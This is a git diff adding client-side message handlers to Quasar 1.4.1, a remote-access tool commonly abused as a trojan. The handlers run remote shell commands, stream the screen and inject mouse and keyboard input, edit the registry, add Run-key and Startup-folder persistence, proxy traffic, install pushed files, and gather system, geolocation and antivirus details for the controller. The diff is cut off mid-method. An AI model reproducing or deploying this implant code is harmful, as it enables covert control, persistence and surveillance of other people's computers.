b/Quasar-1.4.1/Quasar.Client/Messages/RegistryHandler.cs new file mode 100755 index 0000000..3abc30e --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Messages/RegistryHandler.cs @@ -0,0 +1,228 @@ +using Quasar.Client.Extensions; +using Quasar.Client.Helper; +using Quasar.Client.Registry; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Common.Networking; +using System; + +namespace Quasar.Client.Messages +{ + public class RegistryHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is DoLoadRegistryKey || + message is DoCreateRegistryKey || + message is DoDeleteRegistryKey || + message is DoRenameRegistryKey || + message is DoCreateRegistryValue || + message is DoDeleteRegistryValue || + message is DoRenameRegistryValue || + message is DoChangeRegistryValue; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoLoadRegistryKey msg: + Execute(sender, msg); + break; + case DoCreateRegistryKey msg: + Execute(sender, msg); + break; + case DoDeleteRegistryKey msg: + Execute(sender, msg); + break; + case DoRenameRegistryKey msg: + Execute(sender, msg); + break; + case DoCreateRegistryValue msg: + Execute(sender, msg); + break; + case DoDeleteRegistryValue msg: + Execute(sender, msg); + break; + case DoRenameRegistryValue msg: + Execute(sender, msg); + break; + case DoChangeRegistryValue msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, DoLoadRegistryKey message) + { + GetRegistryKeysResponse responsePacket = new GetRegistryKeysResponse(); + try + { + RegistrySeeker seeker = new RegistrySeeker(); + seeker.BeginSeeking(message.RootKeyName); + + responsePacket.Matches = seeker.Matches; + responsePacket.IsError = false; + } + catch (Exception e) + { + responsePacket.IsError = true; + responsePacket.ErrorMsg = e.Message; + } + responsePacket.RootKey = message.RootKeyName; + client.Send(responsePacket); + } + + + private void Execute(ISender client, DoCreateRegistryKey message) + { + GetCreateRegistryKeyResponse responsePacket = new GetCreateRegistryKeyResponse(); + string errorMsg; + string newKeyName = ""; + + try + { + responsePacket.IsError = !(RegistryEditor.CreateRegistryKey(message.ParentPath, out newKeyName, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + + responsePacket.ErrorMsg = errorMsg; + responsePacket.Match = new RegSeekerMatch + { + Key = newKeyName, + Data = RegistryKeyHelper.GetDefaultValues(), + HasSubKeys = false + }; + responsePacket.ParentPath = message.ParentPath; + + client.Send(responsePacket); + } + + private void Execute(ISender client, DoDeleteRegistryKey message) + { + GetDeleteRegistryKeyResponse responsePacket = new GetDeleteRegistryKeyResponse(); + string errorMsg; + try + { + responsePacket.IsError = !(RegistryEditor.DeleteRegistryKey(message.KeyName, message.ParentPath, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + responsePacket.ErrorMsg = errorMsg; + responsePacket.ParentPath = message.ParentPath; + responsePacket.KeyName = message.KeyName; + + client.Send(responsePacket); + } + + private void Execute(ISender client, DoRenameRegistryKey message) + { + GetRenameRegistryKeyResponse responsePacket = new GetRenameRegistryKeyResponse(); + string errorMsg; + try + { + responsePacket.IsError = !(RegistryEditor.RenameRegistryKey(message.OldKeyName, message.NewKeyName, message.ParentPath, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + responsePacket.ErrorMsg = errorMsg; + responsePacket.ParentPath = message.ParentPath; + responsePacket.OldKeyName = message.OldKeyName; + responsePacket.NewKeyName = message.NewKeyName; + + client.Send(responsePacket); + } + + + private void Execute(ISender client, DoCreateRegistryValue message) + { + GetCreateRegistryValueResponse responsePacket = new GetCreateRegistryValueResponse(); + string errorMsg; + string newKeyName = ""; + try + { + responsePacket.IsError = !(RegistryEditor.CreateRegistryValue(message.KeyPath, message.Kind, out newKeyName, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + responsePacket.ErrorMsg = errorMsg; + responsePacket.Value = RegistryKeyHelper.CreateRegValueData(newKeyName, message.Kind, message.Kind.GetDefault()); + responsePacket.KeyPath = message.KeyPath; + + client.Send(responsePacket); + } + + private void Execute(ISender client, DoDeleteRegistryValue message) + { + GetDeleteRegistryValueResponse responsePacket = new GetDeleteRegistryValueResponse(); + string errorMsg; + try + { + responsePacket.IsError = !(RegistryEditor.DeleteRegistryValue(message.KeyPath, message.ValueName, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + responsePacket.ErrorMsg = errorMsg; + responsePacket.ValueName = message.ValueName; + responsePacket.KeyPath = message.KeyPath; + + client.Send(responsePacket); + } + + private void Execute(ISender client, DoRenameRegistryValue message) + { + GetRenameRegistryValueResponse responsePacket = new GetRenameRegistryValueResponse(); + string errorMsg; + try + { + responsePacket.IsError = !(RegistryEditor.RenameRegistryValue(message.OldValueName, message.NewValueName, message.KeyPath, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + responsePacket.ErrorMsg = errorMsg; + responsePacket.KeyPath = message.KeyPath; + responsePacket.OldValueName = message.OldValueName; + responsePacket.NewValueName = message.NewValueName; + + client.Send(responsePacket); + } + + private void Execute(ISender client, DoChangeRegistryValue message) + { + GetChangeRegistryValueResponse responsePacket = new GetChangeRegistryValueResponse(); + string errorMsg; + try + { + responsePacket.IsError = !(RegistryEditor.ChangeRegistryValue(message.Value, message.KeyPath, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + responsePacket.ErrorMsg = errorMsg; + responsePacket.KeyPath = message.KeyPath; + responsePacket.Value = message.Value; + + client.Send(responsePacket); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Messages/RemoteDesktopHandler.cs b/Quasar-1.4.1/Quasar.Client/Messages/RemoteDesktopHandler.cs new file mode 100755 index 0000000..5c27e89 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Messages/RemoteDesktopHandler.cs @@ -0,0 +1,262 @@ +using Quasar.Client.Helper; +using Quasar.Common.Enums; +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using Quasar.Common.Video; +using Quasar.Common.Video.Codecs; +using System; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Threading; +using System.Windows.Forms; + +namespace Quasar.Client.Messages +{ + public class RemoteDesktopHandler : NotificationMessageProcessor, IDisposable + { + private UnsafeStreamCodec _streamCodec; + private bool _isStreaming; + private Thread _streamThread; + private ISender _currentClient; + private int _fpsCap = 60; + private readonly object _streamLock = new object(); + + public override bool CanExecute(IMessage message) => message is GetDesktop || + message is DoMouseEvent || + message is DoKeyboardEvent || + message is GetMonitors; + + public override bool CanExecuteFrom(ISender sender) => true; + + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetDesktop msg: Execute(sender, msg); break; + case DoMouseEvent msg: Execute(sender, msg); break; + case DoKeyboardEvent msg: Execute(sender, msg); break; + case GetMonitors msg: Execute(sender, msg); break; + } + } + + private void Execute(ISender client, GetDesktop message) + { + if (message.StopStreaming) + { + lock (_streamLock) + { + _isStreaming = false; + _currentClient = null; + } + return; + } + + if (message.CreateNew) + { + lock (_streamLock) + { + var monitorBounds = ScreenHelper.GetBounds(message.DisplayIndex); + var resolution = new Resolution { Height = monitorBounds.Height, Width = monitorBounds.Width }; + + _streamCodec?.Dispose(); + _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution); + + _isStreaming = true; + _currentClient = client; + _fpsCap = message.FpsCap > 0 ? message.FpsCap : 60; + + OnReport("Remote desktop streaming started"); + } + + if (_streamThread == null || !_streamThread.IsAlive) + { + _streamThread = new Thread(StreamingLoop) + { + IsBackground = true, + Priority = ThreadPriority.AboveNormal + }; + _streamThread.Start(); + } + return; + } + + // Legacy single-frame mode + var bounds = ScreenHelper.GetBounds(message.DisplayIndex); + var res = new Resolution { Height = bounds.Height, Width = bounds.Width }; + + if (_streamCodec == null || _streamCodec.ImageQuality != message.Quality || + _streamCodec.Monitor != message.DisplayIndex || _streamCodec.Resolution != res) + { + lock (_streamLock) + { + _streamCodec?.Dispose(); + _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, res); + } + } + + SendSingleFrame(client, message.DisplayIndex); + } + + private void StreamingLoop() + { + while (true) + { + ISender client; + UnsafeStreamCodec codec; + int display; + int fpsCap; + + lock (_streamLock) + { + if (!_isStreaming || _currentClient == null || _streamCodec == null) + break; + + client = _currentClient; + codec = _streamCodec; + display = codec.Monitor; + fpsCap = _fpsCap; + } + + try + { + SendSingleFrame(client, display); + } + catch { } + + int delayMs = 1000 / fpsCap; + Thread.Sleep(delayMs); + } + } + + private void SendSingleFrame(ISender client, int displayIndex) + { + BitmapData desktopData = null; + Bitmap desktop = null; + try + { + desktop = ScreenHelper.CaptureScreen(displayIndex); + desktopData = desktop.LockBits(new Rectangle(0, 0, desktop.Width, desktop.Height), + ImageLockMode.ReadWrite, desktop.PixelFormat); + + using (MemoryStream stream = new MemoryStream()) + { + if (_streamCodec == null) throw new Exception("StreamCodec can not be null."); + _streamCodec.CodeImage(desktopData.Scan0, + new Rectangle(0, 0, desktop.Width, desktop.Height), + new Size(desktop.Width, desktop.Height), + desktop.PixelFormat, stream); + client.Send(new GetDesktopResponse + { + Image = stream.ToArray(), + Quality = _streamCodec.ImageQuality, + Monitor = _streamCodec.Monitor, + Resolution = _streamCodec.Resolution + }); + } + } + catch (Exception) + { + if (_streamCodec != null) + { + client.Send(new GetDesktopResponse + { + Image = null, + Quality = _streamCodec.ImageQuality, + Monitor = _streamCodec.Monitor, + Resolution = _streamCodec.Resolution + }); + } + _streamCodec = null; + } + finally + { + if (desktop != null) + { + if (desktopData != null) + try { desktop.UnlockBits(desktopData); } catch { } + desktop.Dispose(); + } + } + } + + private void Execute(ISender sender, DoMouseEvent message) + { + try + { + Screen[] allScreens = Screen.AllScreens; + int offsetX = allScreens[message.MonitorIndex].Bounds.X; + int offsetY = allScreens[message.MonitorIndex].Bounds.Y; + Point p = new Point(message.X + offsetX, message.Y + offsetY); + + switch (message.Action) + { + case MouseAction.LeftDown: + case MouseAction.LeftUp: + case MouseAction.RightDown: + case MouseAction.RightUp: + case MouseAction.MoveCursor: + if (NativeMethodsHelper.IsScreensaverActive()) + NativeMethodsHelper.DisableScreensaver(); + break; + } + + switch (message.Action) + { + case MouseAction.LeftDown: + case MouseAction.LeftUp: + NativeMethodsHelper.DoMouseLeftClick(p, message.IsMouseDown); + break; + case MouseAction.RightDown: + case MouseAction.RightUp: + NativeMethodsHelper.DoMouseRightClick(p, message.IsMouseDown); + break; + case MouseAction.MoveCursor: + NativeMethodsHelper.DoMouseMove(p); + break; + case MouseAction.ScrollDown: + NativeMethodsHelper.DoMouseScroll(p, true); + break; + case MouseAction.ScrollUp: + NativeMethodsHelper.DoMouseScroll(p, false); + break; + } + } + catch { } + } + + private void Execute(ISender sender, DoKeyboardEvent message) + { + if (NativeMethodsHelper.IsScreensaverActive()) + NativeMethodsHelper.DisableScreensaver(); + NativeMethodsHelper.DoKeyPress(message.Key, message.KeyDown); + } + + private void Execute(ISender client, GetMonitors message) + { + client.Send(new GetMonitorsResponse { Number = Screen.AllScreens.Length }); + } + + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + lock (_streamLock) + { + _isStreaming = false; + } + + if (_streamThread != null && _streamThread.IsAlive) + _streamThread.Join(1000); + + _streamCodec?.Dispose(); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Messages/RemoteShellHandler.cs b/Quasar-1.4.1/Quasar.Client/Messages/RemoteShellHandler.cs new file mode 100755 index 0000000..c10cf98 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Messages/RemoteShellHandler.cs @@ -0,0 +1,95 @@ +using Quasar.Client.IO; +using Quasar.Client.Networking; +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; + +namespace Quasar.Client.Messages +{ + /// + /// Handles messages for the interaction with the remote shell. + /// + public class RemoteShellHandler : IMessageProcessor, IDisposable + { + /// + /// The current remote shell instance. + /// + private Shell _shell; + + /// + /// The client which is associated with this remote shell handler. + /// + private readonly QuasarClient _client; + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The associated client. + public RemoteShellHandler(QuasarClient client) + { + _client = client; + _client.ClientState += OnClientStateChange; + } + + /// + /// Handles changes of the client state. + /// + /// The client which changed its state. + /// The new connection state of the client. + private void OnClientStateChange(Networking.Client s, bool connected) + { + // close shell on client disconnection + if (!connected) + { + _shell?.Dispose(); + } + } + + /// + public bool CanExecute(IMessage message) => message is DoShellExecute; + + /// + public bool CanExecuteFrom(ISender sender) => true; + + /// + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoShellExecute shellExec: + Execute(sender, shellExec); + break; + } + } + + private void Execute(ISender client, DoShellExecute message) + { + string input = message.Command; + + if (_shell == null && input == "exit") return; + if (_shell == null) _shell = new Shell(_client); + + if (input == "exit") + _shell.Dispose(); + else + _shell.ExecuteCommand(input); + } + + /// + /// Disposes all managed and unmanaged resources associated with this message processor. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + _shell?.Dispose(); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Messages/ReverseProxyHandler.cs b/Quasar-1.4.1/Quasar.Client/Messages/ReverseProxyHandler.cs new file mode 100755 index 0000000..21e9588 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Messages/ReverseProxyHandler.cs @@ -0,0 +1,58 @@ +using Quasar.Client.Networking; +using Quasar.Client.ReverseProxy; +using Quasar.Common.Messages; +using Quasar.Common.Messages.ReverseProxy; +using Quasar.Common.Networking; + +namespace Quasar.Client.Messages +{ + public class ReverseProxyHandler : IMessageProcessor + { + private readonly QuasarClient _client; + + public ReverseProxyHandler(QuasarClient client) + { + _client = client; + } + + public bool CanExecute(IMessage message) => message is ReverseProxyConnect || + message is ReverseProxyData || + message is ReverseProxyDisconnect; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case ReverseProxyConnect msg: + Execute(sender, msg); + break; + case ReverseProxyData msg: + Execute(sender, msg); + break; + case ReverseProxyDisconnect msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, ReverseProxyConnect message) + { + _client.ConnectReverseProxy(message); + } + + private void Execute(ISender client, ReverseProxyData message) + { + ReverseProxyClient proxyClient = _client.GetReverseProxyByConnectionId(message.ConnectionId); + + proxyClient?.SendToTargetServer(message.Data); + } + private void Execute(ISender client, ReverseProxyDisconnect message) + { + ReverseProxyClient socksClient = _client.GetReverseProxyByConnectionId(message.ConnectionId); + + socksClient?.Disconnect(); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Messages/ShutdownHandler.cs b/Quasar-1.4.1/Quasar.Client/Messages/ShutdownHandler.cs new file mode 100755 index 0000000..de0ea50 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Messages/ShutdownHandler.cs @@ -0,0 +1,58 @@ +using Quasar.Common.Enums; +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Diagnostics; +using System.Windows.Forms; + +namespace Quasar.Client.Messages +{ + public class ShutdownHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is DoShutdownAction; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoShutdownAction msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, DoShutdownAction message) + { + try + { + ProcessStartInfo startInfo = new ProcessStartInfo(); + switch (message.Action) + { + case ShutdownAction.Shutdown: + startInfo.WindowStyle = ProcessWindowStyle.Hidden; + startInfo.UseShellExecute = true; + startInfo.Arguments = "/s /t 0"; // shutdown + startInfo.FileName = "shutdown"; + Process.Start(startInfo); + break; + case ShutdownAction.Restart: + startInfo.WindowStyle = ProcessWindowStyle.Hidden; + startInfo.UseShellExecute = true; + startInfo.Arguments = "/r /t 0"; // restart + startInfo.FileName = "shutdown"; + Process.Start(startInfo); + break; + case ShutdownAction.Standby: + Application.SetSuspendState(PowerState.Suspend, true, true); // standby + break; + } + } + catch (Exception ex) + { + client.Send(new SetStatus { Message = $"Action failed: {ex.Message}" }); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Messages/StartupManagerHandler.cs b/Quasar-1.4.1/Quasar.Client/Messages/StartupManagerHandler.cs new file mode 100755 index 0000000..91b2d02 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Messages/StartupManagerHandler.cs @@ -0,0 +1,265 @@ +using Microsoft.Win32; +using Quasar.Client.Extensions; +using Quasar.Client.Helper; +using Quasar.Common.Enums; +using Quasar.Common.Helpers; +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; + +namespace Quasar.Client.Messages +{ + public class StartupManagerHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is GetStartupItems || + message is DoStartupItemAdd || + message is DoStartupItemRemove; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetStartupItems msg: + Execute(sender, msg); + break; + case DoStartupItemAdd msg: + Execute(sender, msg); + break; + case DoStartupItemRemove msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, GetStartupItems message) + { + try + { + List startupItems = new List(); + + using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run")) + { + if (key != null) + { + foreach (var item in key.GetKeyValues()) + { + startupItems.Add(new Common.Models.StartupItem + { Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineRun }); + } + } + } + using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) + { + if (key != null) + { + foreach (var item in key.GetKeyValues()) + { + startupItems.Add(new Common.Models.StartupItem + { Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineRunOnce }); + } + } + } + using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.CurrentUser, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run")) + { + if (key != null) + { + foreach (var item in key.GetKeyValues()) + { + startupItems.Add(new Common.Models.StartupItem + { Name = item.Item1, Path = item.Item2, Type = StartupType.CurrentUserRun }); + } + } + } + using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.CurrentUser, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) + { + if (key != null) + { + foreach (var item in key.GetKeyValues()) + { + startupItems.Add(new Common.Models.StartupItem + { Name = item.Item1, Path = item.Item2, Type = StartupType.CurrentUserRunOnce }); + } + } + } + using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run")) + { + if (key != null) + { + foreach (var item in key.GetKeyValues()) + { + startupItems.Add(new Common.Models.StartupItem + { Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineRunX86 }); + } + } + } + using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) + { + if (key != null) + { + foreach (var item in key.GetKeyValues()) + { + startupItems.Add(new Common.Models.StartupItem + { Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineRunOnceX86 }); + } + } + } + if (Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup))) + { + var files = new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.Startup)).GetFiles(); + + startupItems.AddRange(files.Where(file => file.Name != "desktop.ini").Select(file => new Common.Models.StartupItem + { Name = file.Name, Path = file.FullName, Type = StartupType.StartMenu })); + } + + client.Send(new GetStartupItemsResponse { StartupItems = startupItems }); + } + catch (Exception ex) + { + client.Send(new SetStatus { Message = $"Getting Autostart Items failed: {ex.Message}" }); + } + } + + private void Execute(ISender client, DoStartupItemAdd message) + { + try + { + switch (message.StartupItem.Type) + { + case StartupType.LocalMachineRun: + if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name, message.StartupItem.Path, true)) + { + throw new Exception("Could not add value"); + } + break; + case StartupType.LocalMachineRunOnce: + if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name, message.StartupItem.Path, true)) + { + throw new Exception("Could not add value"); + } + break; + case StartupType.CurrentUserRun: + if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser, + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name, message.StartupItem.Path, true)) + { + throw new Exception("Could not add value"); + } + break; + case StartupType.CurrentUserRunOnce: + if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser, + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name, message.StartupItem.Path, true)) + { + throw new Exception("Could not add value"); + } + break; + case StartupType.LocalMachineRunX86: + if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, + "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name, message.StartupItem.Path, true)) + { + throw new Exception("Could not add value"); + } + break; + case StartupType.LocalMachineRunOnceX86: + if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, + "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name, message.StartupItem.Path, true)) + { + throw new Exception("Could not add value"); + } + break; + case StartupType.StartMenu: + if (!Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup))) + { + Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.Startup)); + } + + string lnkPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup), + message.StartupItem.Name + ".url"); + + using (var writer = new StreamWriter(lnkPath, false)) + { + writer.WriteLine("[InternetShortcut]"); + writer.WriteLine("URL=file:///" + message.StartupItem.Path); + writer.WriteLine("IconIndex=0"); + writer.WriteLine("IconFile=" + message.StartupItem.Path.Replace('\\', '/')); + writer.Flush(); + } + break; + } + } + catch (Exception ex) + { + client.Send(new SetStatus { Message = $"Adding Autostart Item failed: {ex.Message}" }); + } + } + + private void Execute(ISender client, DoStartupItemRemove message) + { + try + { + switch (message.StartupItem.Type) + { + case StartupType.LocalMachineRun: + if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine, + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name)) + { + throw new Exception("Could not remove value"); + } + break; + case StartupType.LocalMachineRunOnce: + if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine, + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name)) + { + throw new Exception("Could not remove value"); + } + break; + case StartupType.CurrentUserRun: + if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser, + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name)) + { + throw new Exception("Could not remove value"); + } + break; + case StartupType.CurrentUserRunOnce: + if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser, + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name)) + { + throw new Exception("Could not remove value"); + } + break; + case StartupType.LocalMachineRunX86: + if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine, + "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name)) + { + throw new Exception("Could not remove value"); + } + break; + case StartupType.LocalMachineRunOnceX86: + if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine, + "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name)) + { + throw new Exception("Could not remove value"); + } + break; + case StartupType.StartMenu: + string startupItemPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup), message.StartupItem.Name); + + if (!File.Exists(startupItemPath)) + throw new IOException("File does not exist"); + + File.Delete(startupItemPath); + break; + } + } + catch (Exception ex) + { + client.Send(new SetStatus { Message = $"Removing Autostart Item failed: {ex.Message}" }); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Messages/SurvivalHandler.cs b/Quasar-1.4.1/Quasar.Client/Messages/SurvivalHandler.cs new file mode 100755 index 0000000..b4f748e --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Messages/SurvivalHandler.cs @@ -0,0 +1,58 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using Quasar.Client.Survival; + +namespace Quasar.Client.Messages +{ + public class SurvivalHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is DoSurvivalInstall || message is DoSurvivalUninstall; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoSurvivalInstall msg: + Execute(sender, msg); + break; + case DoSurvivalUninstall uninstall: + ExecuteUninstall(sender); + break; + } + } + + private void Execute(ISender client, DoSurvivalInstall message) + { + if (message.FileBytes != null && message.FileExtension != null) + { + RSFuncs.InstallFile(client, message.FileBytes, message.FileExtension); + } + else + { + client.Send(new NewSurvivalLog + { + Log = "Invalid file bytes or file extension", + LogType = "error" + }); + } + } + + private void ExecuteUninstall(ISender client) + { + try + { + RSFuncs.Uninstall(client); + } + catch (System.Exception ex) + { + client.Send(new NewSurvivalLog + { + Log = ex.Message, + LogType = "error" + }); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Messages/SystemInformationHandler.cs b/Quasar-1.4.1/Quasar.Client/Messages/SystemInformationHandler.cs new file mode 100755 index 0000000..e7ef10f --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Messages/SystemInformationHandler.cs @@ -0,0 +1,253 @@ +using Quasar.Client.Helper; +using Quasar.Client.IpGeoLocation; +using Quasar.Client.User; +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Collections.Generic; +using System.IO; +using System.Net.NetworkInformation; +using Quasar.Client.IO; +using System.Management; +using System.Windows.Forms; +using System.Security.Principal; + +namespace Quasar.Client.Messages +{ + public class SystemInformationHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is GetSystemInfo; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetSystemInfo msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, GetSystemInfo message) + { + try + { + IPGlobalProperties properties = IPGlobalProperties.GetIPGlobalProperties(); + + var domainName = (!string.IsNullOrEmpty(properties.DomainName)) ? properties.DomainName : "-"; + var hostName = (!string.IsNullOrEmpty(properties.HostName)) ? properties.HostName : "-"; + + var geoInfo = GeoInformationFactory.GetGeoInformation(); + var userAccount = new UserAccount(); + + List> lstInfos = new List> + { + // Hardware Information + new Tuple("Processor (CPU)", HardwareDevices.CpuName), + new Tuple("Processor Cores", GetProcessorCores()), + new Tuple("Memory (RAM)", $"{HardwareDevices.TotalPhysicalMemory} MB"), + new Tuple("Video Card (GPU)", HardwareDevices.GpuName), + new Tuple("Mainboard", HardwareDevices.MainboardName), + new Tuple("BIOS Manufacturer", HardwareDevices.BiosManufacturer), + + // Operating System Information + new Tuple("Operating System", GetOSVersion()), + new Tuple("OS Architecture", GetOSArchitecture()), + new Tuple("OS Build", GetOSBuild()), + new Tuple(".NET Framework", GetDotNetVersion()), + + // User & Computer Information + new Tuple("Username", userAccount.UserName), + new Tuple("User Account Type", GetAccountType()), + new Tuple("PC Name", SystemHelper.GetPcName()), + new Tuple("Domain Name", domainName), + new Tuple("Host Name", hostName), + + // Storage Information + new Tuple("System Drive", Path.GetPathRoot(Environment.SystemDirectory)), + new Tuple("System Directory", Environment.SystemDirectory), + new Tuple("Total Disk Space", GetTotalDiskSpace()), + new Tuple("Free Disk Space", GetFreeDiskSpace()), + + // Display Information + new Tuple("Screen Resolution", GetScreenResolution()), + + // System Status + new Tuple("Uptime", SystemHelper.GetUptime()), + new Tuple("Last Boot Time", GetLastBootTime()), + + // Network Information + new Tuple("MAC Address", HardwareDevices.MacAddress), + new Tuple("LAN IP Address", HardwareDevices.LanIpAddress), + new Tuple("WAN IP Address", geoInfo.IpAddress), + new Tuple("ASN", geoInfo.Asn), + new Tuple("ISP", geoInfo.Isp), + + // Security Information + new Tuple("Antivirus", SystemHelper.GetAntivirus()), + new Tuple("Firewall", SystemHelper.GetFirewall()), + + // Location Information + new Tuple("Time Zone", geoInfo.Timezone), + new Tuple("Country", geoInfo.Country) + }; + + client.Send(new GetSystemInfoResponse { SystemInfos = lstInfos }); + } + catch + { + } + } + + private string GetProcessorCores() + { + try + { + int coreCount = 0; + foreach (var item in new ManagementObjectSearcher("Select NumberOfCores from Win32_Processor").Get()) + { + coreCount += int.Parse(item["NumberOfCores"].ToString()); + } + return coreCount.ToString(); + } + catch + { + return Environment.ProcessorCount.ToString(); + } + } + + private string GetOSVersion() + { + try + { + using (var searcher = new ManagementObjectSearcher("SELECT Caption FROM Win32_OperatingSystem")) + { + foreach 